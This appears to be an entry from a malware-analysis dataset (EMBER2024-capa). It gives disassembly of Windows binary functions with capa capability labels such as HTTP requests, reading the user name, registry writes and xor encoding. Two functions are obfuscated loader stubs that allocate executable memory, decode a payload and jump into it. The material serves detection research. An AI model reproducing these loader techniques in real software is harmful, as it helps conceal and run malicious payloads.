joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a136
Capabilities:
Create http request
Parse url

Disassembly:
push 0x78
mov eax, 0x43580f
call fcn.0041d834
mov eax, dword [ebp + 8]
xor ebx, ebx
push 0x3c
mov dword [ebp - 0x84], eax
lea eax, [edi + 0xc]
push ebx
push eax
mov esi, ecx
mov dword [edi], ebx
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
call dword [sym.imp.MSVCR100.dll_memset]
or ecx, 0xffffffff
mov dword [edi + 0x14], ecx
mov dword [edi + 0x20], ecx
mov dword [edi + 0x3c], ecx
mov dword [edi + 0x44], ecx
mov ecx, 0xffff
lea eax, [edi + 0xc]
mov dword [eax], 0x3c
mov word [edi + 0x24], cx
mov ecx, dword [esi + 0x10]
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x40a193
mov esi, dword [esi]
push eax
push ebx
push ecx
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
jne 0x40a1a8
xor al, al
jmp 0x40a262
push dword [edi + 0x1c]
lea ecx, [ebp - 0x2c]
call fcn.0040e165
mov dword [ebp - 4], ebx
push dword [edi + 0x20]
lea esi, [ebp - 0x48]
push ebx
push eax
call fcn.0040e165
push eax
lea ecx, [edi + 0x48]
mov byte [ebp - 4], 1
call fcn.0040e165
push ebx
push 1
mov ecx, esi
call fcn.0040e165
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040e165
push dword [edi + 0x38]
lea ecx, [ebp - 0x64]
call fcn.0040e165
mov dword [ebp - 4], 2
push dword [edi + 0x3c]
lea esi, [ebp - 0x80]
push ebx
push eax
call fcn.0040e165
push eax
lea ecx, [edi + 0x64]
mov byte [ebp - 4], 3
call fcn.0040e165
push ebx
push 1
mov ecx, esi
call fcn.0040e165
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.0040e165
mov eax, dword [ebp - 0x84]
cmp dword [eax + 0x14], 8
jb 0x40a238
mov eax, dword [eax]
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.wininet.dll_InternetOpenW]
mov dword [edi], eax
cmp eax, ebx
je 0x40a1a1
xor edx, edx
mov ecx, 0x417dbc
cmp edx, ecx
je 0x40a260
push ecx
push eax
call dword [sym.imp.wininet.dll_InternetSetStatusCallbackW]
mov al, 1
call fcn.0041d8b7
ret 4
Function at 0x40a368
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x1c
mov eax, 0x4357d4
call fcn.0041d7fe
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
mov ebx, dword [ebp + 8]
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 8]
mov dword [ebp - 0x14], esi
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov dword [ebp - 0x1c], eax
cmp eax, esi
je 0x40a44a
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.0040e165
mov edi, eax
mov eax, dword [ebp - 0x14]
pop ecx
inc eax
push eax
push esi
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.MSVCR100.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x14]
push edi
push dword [ebx + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov dword [ebp - 0x1c], eax
cmp eax, esi
jne 0x40a3dc
mov dword [ebp - 0x14], esi
jmp 0x40a3ed
cmp dword [ebp - 0x14], esi
jbe 0x40a3ed
push dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
push edi
call fcn.0040e165
or dword [ebp - 4], 0xffffffff
jmp 0x40a434
push dword [ebp - 0x18]
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
pop ecx
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x14], esi
ja 0x40a37c
cmp dword [ebp - 0x1c], esi
setne al
call fcn.0041d8a3
ret 8
Function at 0x40bfeb
Capabilities:
Get common file path

Disassembly:
push 0x884
mov eax, 0x4360f5
call fcn.0041d834
xor ebx, ebx
push 0x802
lea eax, [ebp - 0x818]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 0x890], ebx
call dword [sym.imp.MSVCR100.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x818]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40c126
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x834]
call fcn.0040e165
lea eax, [ebp - 0x850]
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.00406685
pop ecx
push eax
lea eax, [ebp - 0x888]
push eax
mov byte [ebp - 4], 1
call fcn.0040e165
push 0x43dccc
push eax
lea eax, [ebp - 0x86c]
push eax
mov byte [ebp - 4], 2
call fcn.0040e165
add esp, 0x14
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x834]
mov byte [ebp - 4], 3
call fcn.0040e165
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x86c]
call fcn.0040e165
push ebx
push esi
lea ecx, [ebp - 0x888]
call fcn.0040e165
push ebx
push esi
lea ecx, [ebp - 0x850]
mov byte [ebp - 4], bl
call fcn.0040e165
lea edx, [ebp - 0x834]
lea ecx, [ebp - 0x850]
call fcn.00407a3d
call fcn.00407172
push ebx
push esi
lea ecx, [ebp - 0x850]
mov byte [ebp - 0x889], al
call fcn.0040e165
cmp byte [ebp - 0x889], bl
je 0x40c115
lea eax, [ebp - 0x834]
push eax
push edi
call fcn.004065d0
pop ecx
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x834]
call fcn.0040e165
jmp 0x40c132
or dword [ebp - 4], 0xffffffff
push ebx
push esi
lea ecx, [ebp - 0x834]
call fcn.0040e165
push 0x43d991
mov ecx, edi
call fcn.0040e165
mov eax, edi
call fcn.0041d8b7
ret

Function at 0x40e165
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40e174
pop dword [ebp - 0x24]
mov eax, 0x40e174
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x6518e1c4
sub dword [ebp - 0x34], 0x16c69c79
mov dword [ebp - 0x30], 0x9314c24b
add dword [ebp - 0x30], 0x9f1e89fa
mov dword [ebp - 0x2c], 0xfc3c611c
add dword [ebp - 0x2c], 0x500fe312
mov dword [ebp - 0x28], 0x85ea0ed0
sub dword [ebp - 0x28], 0x85ea0ed0
lea eax, [ebp - 0x34]
push eax
mov eax, 0x294a01fb
sub eax, 0x29068123
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x41c41fca
add dword [ebp - 0x34], 0x32ae498c
mov dword [ebp - 0x30], 0x3bb66995
add dword [ebp - 0x30], 0x5b5f7e0
mov dword [ebp - 0x2c], 0xcd299ec6
add dword [ebp - 0x2c], 0x9645cda6
mov dword [ebp - 0x28], 0xa09ec044
sub dword [ebp - 0x28], 0xa09ec044
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x28acf8c2
add eax, 0xd7968776
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3bee3
push 0
call eax
mov ecx, 0xfaefb54
sub ecx, 0xfaec050
xor esi, esi
add esi, eax
mov edx, 0x21ca2ad2
add edx, 0xde7afd2e
add edx, dword [ebp - 0x24]
mov edi, 0x3cb112fb
xor dword [ebp - 4], 0xe04021c5
mov ebx, dword [edx]
sub dword [ebp - 0x18], eax
add ebx, edi
mov dword [ebp - 0x10], 0xc049dd6a
mov dword [esi], ebx
sub dword [ebp - 8], 0x63eee2e4
add esi, 4
add edx, 4
loop 0x40e28d
add eax, 0xdee3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf20a1324
add ecx, 0xe35ecdc
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x41246d
Capabilities:
Get common file path

Disassembly:
push 0x26c
mov eax, 0x436d28
call fcn.0041d834
xor esi, esi
push 0x20a
lea eax, [ebp - 0x220]
push esi
push eax
mov edi, ecx
mov dword [ebp - 0x25c], esi
call dword [sym.imp.MSVCR100.dll_memset]
add esp, 0xc
call fcn.0040e165
test al, al
je 0x412535
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x23c]
call fcn.0040e165
push str.LogSession
lea ecx, [ebp - 0x258]
mov dword [ebp - 4], esi
call fcn.0040e165
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 1
call fcn.0040c291
push 0x43d991
lea ecx, [ebp - 0x278]
mov ebx, eax
call fcn.0040e165
push eax
lea eax, [ebp - 0x23c]
mov byte [ebp - 4], 2
mov edx, dword [ebx]
push eax
mov ecx, ebx
call dword [edx + 0x40]
push esi
push 1
lea ecx, [ebp - 0x278]
call fcn.0040e165
push esi
push 1
lea ecx, [ebp - 0x258]
call fcn.0040e165
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x23c]
call fcn.0040e165
call fcn.004123d2
jmp 0x412561
lea eax, [ebp - 0x220]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea eax, [ebp - 0x220]
je 0x412559
mov eax, 0x43dad4
push eax
mov ecx, edi
call fcn.0040e165
mov eax, edi
call fcn.0041d8b7
ret

Function at 0x4126c0
Capabilities:
Get session user name

Disassembly:
push 0x260
mov eax, 0x43541e
call fcn.0041d834
xor eax, eax
xor esi, esi
mov dword [ebp - 0x26c], esi
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 0x26c], pe_nt_image_headers32
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x24c]
call fcn.0040e165
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x230]
push eax
mov dword [ebp - 4], esi
call fcn.004065d0
pop ecx
pop ecx
push str.AdobeHeadlights
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 1
call fcn.0040e165
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 2
call fcn.0040e165
push eax
mov ecx, edi
call fcn.0040e165
push esi
push 1
lea ecx, [ebp - 0x268]
call fcn.0040e165
push esi
push 1
lea ecx, [ebp - 0x230]
call fcn.0040e165
push esi
push 1
lea ecx, [ebp - 0x24c]
call fcn.0040e165
mov eax, edi
call fcn.0041d8b7
ret
Function at 0x4127d8
Capabilities:
Hash data with md5

Disassembly:
push 0xb8
mov eax, 0x434a44
call fcn.0041d834
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea eax, [ebp - 0xac]
mov byte [ebp - 4], 2
push 0x68
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x94]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_memset]
mov edi, dword [ebp + 8]
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x8c], 0x67452301
mov dword [ebp - 0x88], 0xefcdab89
mov dword [ebp - 0x84], 0x98badcfe
mov dword [ebp - 0x80], 0x10325476
mov eax, edi
jae 0x41287b
lea eax, [ebp + 8]
add eax, dword [ebp + 0x18]
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0xc4], eax
jae 0x41288d
lea edi, [ebp + 8]
cmp edi, eax
je 0x4128be
mov al, byte [edi]
mov byte [ebp - 0x95], al
lea eax, [ebp - 0x95]
push 1
push eax
lea esi, [ebp - 0x94]
call fcn.0040e165
inc edi
pop ecx
pop ecx
cmp edi, dword [ebp - 0xc4]
jne 0x412891
mov esi, dword [ebp - 0xc0]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x94]
call fcn.0041299b
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xb4], ebx
lea eax, [ebp - 0xbc]
push eax
mov byte [ebp - 4], 3
push dword [ebp - 0xa8]
lea edi, [ebp - 0x9c]
push dword [ebp - 0xac]
call fcn.0040e165
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xbc]
add esp, 0xc
push dword [ebp - 0x9c]
mov dword [esi + 0x14], 0xf
push eax
push ecx
mov dword [esi + 0x10], ebx
push esi
mov byte [esi], bl
call fcn.00412c56
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
cmp dword [ebp - 0xbc], ebx
je 0x412948
push dword [ebp - 0xbc]
call edi
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xb4], ebx
call fcn.0040e165
cmp dword [ebp - 0xac], ebx
je 0x412976
push dword [ebp - 0xac]
call edi
pop ecx
push ebx
push 1
lea ecx, [ebp + 8]
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
call fcn.0040e165
mov eax, esi
call fcn.0041d8b7
ret
Function at 0x4130df
Capabilities:
Set registry value

Disassembly:
push 0x5c
mov eax, 0x435d8a
call fcn.0041d834
mov edi, dword [ebp + 8]
mov esi, ecx
cmp dword [esi], 0
mov ebx, edx
mov dword [ebp - 0x68], ebx
je 0x4131a6
cmp dword [ebx + 0x10], 0
je 0x4131a6
cmp dword [edi + 0x14], 8
jb 0x413112
mov eax, dword [edi]
jmp 0x413114
mov eax, edi
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp dword [edi + 0x14], 8
lea edx, [eax + eax + 2]
jb 0x413129
mov ecx, dword [edi]
jmp 0x41312b
mov ecx, edi
cmp dword [ebx + 0x14], 8
jb 0x413135
mov eax, dword [ebx]
jmp 0x413137
mov eax, ebx
push edx
push ecx
xor ebx, ebx
inc ebx
push ebx
push 0
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdq
test eax, eax
jne 0x413151
test edx, edx
je 0x4131b0
lea eax, [ebp - 0x64]
push str.Set_registry_value
push eax
call fcn.00410777
and dword [ebp - 4], 0
push str._with_key:
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040e165
push dword [ebp - 0x68]
lea ecx, [ebp - 0x2c]
push ecx
mov esi, eax
mov byte [ebp - 4], bl
call fcn.0040e165
add esp, 0x1c
xor esi, esi
push esi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0040e165
push esi
push ebx
lea ecx, [ebp - 0x48]
call fcn.0040e165
push esi
push ebx
lea ecx, [ebp - 0x64]
call fcn.0040e165
xor al, al
call fcn.0041d8b7
ret 4
mov al, bl
jmp 0x4131a8

Function at 0x4190d0
Capabilities:
Read file on windows

Disassembly:
cmp dword [esi + 0x3c], 0
jne 0x419126
cmp dword [esi + 4], 0
jne 0x41912f
call dword [sym.imp.MSVCR100.dll__errno]
mov dword [eax], 0
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x44]
push eax
push 0x4000
push 1
push ecx
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
test eax, eax
mov dword [esi + 4], eax
jne 0x41912a
mov edx, dword [esi + 0x40]
push edx
mov dword [esi + 0x3c], 1
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 4
test eax, eax
je 0x419126
mov dword [esi + 0x38], 0xffffffff
or eax, 0xffffffff
ret
mov eax, dword [esi + 0x44]
mov dword [esi], eax
mov eax, dword [esi]
add dword [esi + 4], 0xffffffff
mov cl, byte [eax]
add eax, 1
mov dword [esi], eax
movzx eax, cl
ret
Function at 0x419140
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, eax
push edi
mov edi, dword [esi + 4]
cmp edi, 2
jae 0x4191b8
test edi, edi
je 0x419159
mov eax, dword [esi]
mov ecx, dword [esi + 0x44]
mov dl, byte [eax]
mov byte [ecx], dl
call dword [sym.imp.MSVCR100.dll__errno]
mov dword [eax], 0
mov eax, dword [esi + 0x40]
mov ecx, edi
push eax
mov eax, dword [esi + 0x44]
mov edx, 0x4000
sar edx, cl
add eax, edi
push edx
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fread]
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4191a2
mov ecx, dword [esi + 0x40]
push ecx
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 4
test eax, eax
je 0x4191a2
mov dword [esi + 0x38], 0xffffffff
add dword [esi + 4], edi
mov eax, dword [esi + 4]
cmp eax, 2
mov edx, dword [esi + 0x44]
mov dword [esi], edx
jae 0x4191b8
pop edi
mov dword [esi + 0x58], eax
pop esi
ret
mov eax, dword [esi]
cmp byte [eax], 0x1f
jne 0x41928e
cmp byte [eax + 1], 0x8b
jne 0x41928e
add dword [esi + 4], 0xfffffffe
add eax, 2
push ebx
mov dword [esi], eax
call fcn.004190d0
mov edi, eax
call fcn.004190d0
cmp edi, 8
mov ebx, eax
jne 0x419283
test bl, 0xe0
jne 0x419283
mov edi, 6
lea esp, [esp]
call fcn.004190d0
sub edi, 1
jne 0x419200
test bl, 4
je 0x419233
call fcn.004190d0
mov edi, eax
call fcn.004190d0
shl eax, 8
add edi, eax
mov eax, edi
sub edi, 1
test eax, eax
je 0x419233
call fcn.004190d0
cmp eax, 0xffffffff
jne 0x419220
test bl, 8
je 0x419246
call fcn.004190d0
test eax, eax
je 0x419246
cmp eax, 0xffffffff
jne 0x419238
test bl, 0x10
je 0x41925e
jmp 0x419250
call fcn.004190d0
test eax, eax
je 0x41925e
cmp eax, 0xffffffff
jne 0x419250
test bl, 2
je 0x419272
mov edi, 2
call fcn.004190d0
sub edi, 1
jne 0x419268
mov ecx, dword [esi + 0x3c]
neg ecx
sbb ecx, ecx
pop ebx
and ecx, 0xfffffffd
pop edi
mov dword [esi + 0x38], ecx
pop esi
ret
pop ebx
pop edi
mov dword [esi + 0x38], 0xfffffffd
pop esi
ret
pop edi
mov dword [esi + 0x58], 1
pop esi
ret

Function at 0x419350
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4193fc
cmp byte [esi + 0x5c], 0x77
jne 0x4193fc
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
test ebx, ebx
mov dword [esi], eax
mov dword [esi + 4], ebx
je 0x4193df
push edi
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
cmp dword [esi + 0x10], 0
jne 0x4193a7
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x48]
push ecx
push 0x4000
push 1
push eax
mov dword [esi + 0xc], eax
call edi
add esp, 0x10
cmp eax, 0x4000
jne 0x4193d7
mov dword [esi + 0x10], eax
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x10]
add dword [esi + 0x64], edx
add dword [esi + 0x68], eax
push 0
push esi
call fcn.004198e0
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0x10]
sub dword [esi + 0x64], ecx
sub dword [esi + 0x68], edx
add esp, 8
test eax, eax
mov dword [esi + 0x38], eax
jne 0x4193de
test ecx, ecx
jne 0x419380
jmp 0x4193de
mov dword [esi + 0x38], 0xffffffff
pop edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esi + 0x4c]
push ebx
push eax
push ecx
call fcn.0041b4f0
add esp, 0xc
mov dword [esi + 0x4c], eax
mov eax, ebx
sub eax, dword [esi + 4]
pop ebx
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x419410
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x4194c7
cmp byte [esi + 0x5c], 0x77
jne 0x4194c7
mov dword [esi + 4], ebx
push edi
lea esp, [esp]
mov edi, 0x4000
sub edi, dword [esi + 0x10]
je 0x41945f
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x48]
push eax
push edi
push 1
push ecx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp eax, edi
jne 0x4194bd
mov edx, dword [esi + 0x48]
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], 0x4000
test ebx, ebx
jne 0x4194ab
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x10]
add dword [esi + 0x68], eax
push ecx
push esi
call fcn.004198e0
mov ecx, dword [esi + 0x10]
sub dword [esi + 0x68], ecx
add esp, 8
test edi, edi
mov dword [esi + 0x38], eax
jne 0x41948c
cmp eax, 0xfffffffb
jne 0x41948c
mov dword [esi + 0x38], edi
test ecx, ecx
jne 0x41949a
cmp dword [esi + 0x38], 1
je 0x41949a
xor ebx, ebx
jmp 0x41949f
mov ebx, 1
mov eax, dword [esi + 0x38]
test eax, eax
je 0x419430
cmp eax, 1
je 0x419430
mov esi, dword [esi + 0x38]
mov eax, esi
sub eax, 1
neg eax
sbb eax, eax
pop edi
and eax, esi
pop esi
pop ebx
ret
or eax, 0xffffffff
pop edi
mov dword [esi + 0x38], eax
pop esi
pop ebx
ret
pop esi
mov eax, 0xfffffffe
pop ebx
ret
Function at 0x41d3a4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a1ac]
jne 0x41d3ae
repz ret
jmp fcn.0041d8d5

Function at 0x41d77c
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x440f90
call fcn.0041dab0
xor ebx, ebx
cmp dword [0x44be54], ebx
jne 0x41d55a
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x44be50
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x41d594
cmp eax, esi
jne 0x41d587
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x41d597
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x41d56e
xor esi, esi
inc esi
mov eax, dword [0x44be4c]
cmp eax, esi
jne 0x41d5aa
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x41d5e5
mov eax, dword [0x44be4c]
test eax, eax
jne 0x41d5df
mov dword [0x44be4c], esi
push 0x43853c
push 0x43852c
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x41d5e5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41d6bc
mov dword [0x44b9a8], esi
mov eax, dword [0x44be4c]
cmp eax, esi
jne 0x41d609
push 0x438528
push 0x4384d4
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x44be4c], 2
cmp dword [ebp - 0x1c], ebx
jne 0x41d616
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x44be58], ebx
je 0x41d637
push 0x44be58
call fcn.0040e165
pop ecx
test eax, eax
je 0x41d637
push ebx
push 2
push ebx
call dword [0x44be58]
mov eax, dword [0x44b990]
mov ecx, dword [sym.imp.MSVCR100.dll___initenv]
mov dword [ecx], eax
push dword [0x44b990]
push dword [0x44b994]
push dword [0x44b98c]
call fcn.0040f1ce
add esp, 0xc
mov dword [0x44b9a4], eax
cmp dword [0x44b998], ebx
jne 0x41d6a2
push eax
call dword [sym.imp.MSVCR100.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.MSVCR100.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x44b9a8], ebx
jne 0x41d6b0
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x44b9a4]
call fcn.0041daf5
ret
call fcn.0040e165
jmp 0x41d539

Function at 0x41fce0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
xor ecx, ecx
cmp eax, edx
je 0x41fd0f
push esi
push edi
mov esi, ecx
mov edi, ecx
shl esi, 6
shr edi, 2
add esi, edi
movsx edi, byte [eax]
lea esi, [esi + edi - 0x61c88647]
inc eax
xor ecx, esi
cmp eax, edx
jne 0x41fcf0
pop edi
pop esi
mov eax, 0x4e25
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add edx, eax
shr edx, 0x1e
imul edx, edx, 0x7fffd8ee
mov eax, ecx
sub eax, edx
add eax, 0x2710
ret
Function at 0x100023dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100023eb
pop dword [ebp - 0x10]
mov eax, 0x8f8c774e
add eax, 0x8073ac9d
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x72ef59b2
add dword [ebp - 0x20], 0xdb62eb99
mov dword [ebp - 0x1c], 0x4cdbc7a9
sub dword [ebp - 0x1c], 0x1aa87b64
mov dword [ebp - 0x18], 0x6783ba3a
add dword [ebp - 0x18], 0xe4c889f4
mov dword [ebp - 0x14], 0x6628dfc
sub dword [ebp - 0x14], 0x6628dfc
lea eax, [ebp - 0x20]
push eax
mov eax, 0x1cb72fc8
sub eax, 0xcb68fc4
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x181f48a5
add dword [ebp - 0x20], 0x5c5320b1
mov dword [ebp - 0x1c], 0x8c469729
add dword [ebp - 0x1c], 0xb525ca4c
mov dword [ebp - 0x18], 0x98b55e9d
sub dword [ebp - 0x18], 0x3545f231
mov dword [ebp - 0x14], 0xf29d341a
add dword [ebp - 0x14], 0xd62cbe6
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x84fde27d
add eax, 0x8b02bd8b
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x359db
push 0
call eax
mov ecx, 0xb99964f7
sub ecx, 0xb99920ea
xor edx, edx
add edx, eax
mov ebx, 0x9cb1a0e0
add ebx, 0x734f5720
add ebx, dword [ebp - 0x10]
mov esi, 0x2d8a2fcb
mov dword [ebp - 0xc], 0xc83226c
mov edi, dword [ebx]
sub dword [ebp - 0xc], ebx
xor edi, esi
sub dword [ebp - 8], edx
mov dword [edx], edi
add dword [ebp - 0xc], edx
add edx, 0x96271b76
add edx, 0x69d8e48e
add ebx, 0xccea4edb
add ebx, 0x3315b129
loop 0x10002509
add eax, 0x10307
xor ebx, ebx
add ebx, eax
add eax, 0x10630bce
sub eax, 0x10630bc9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret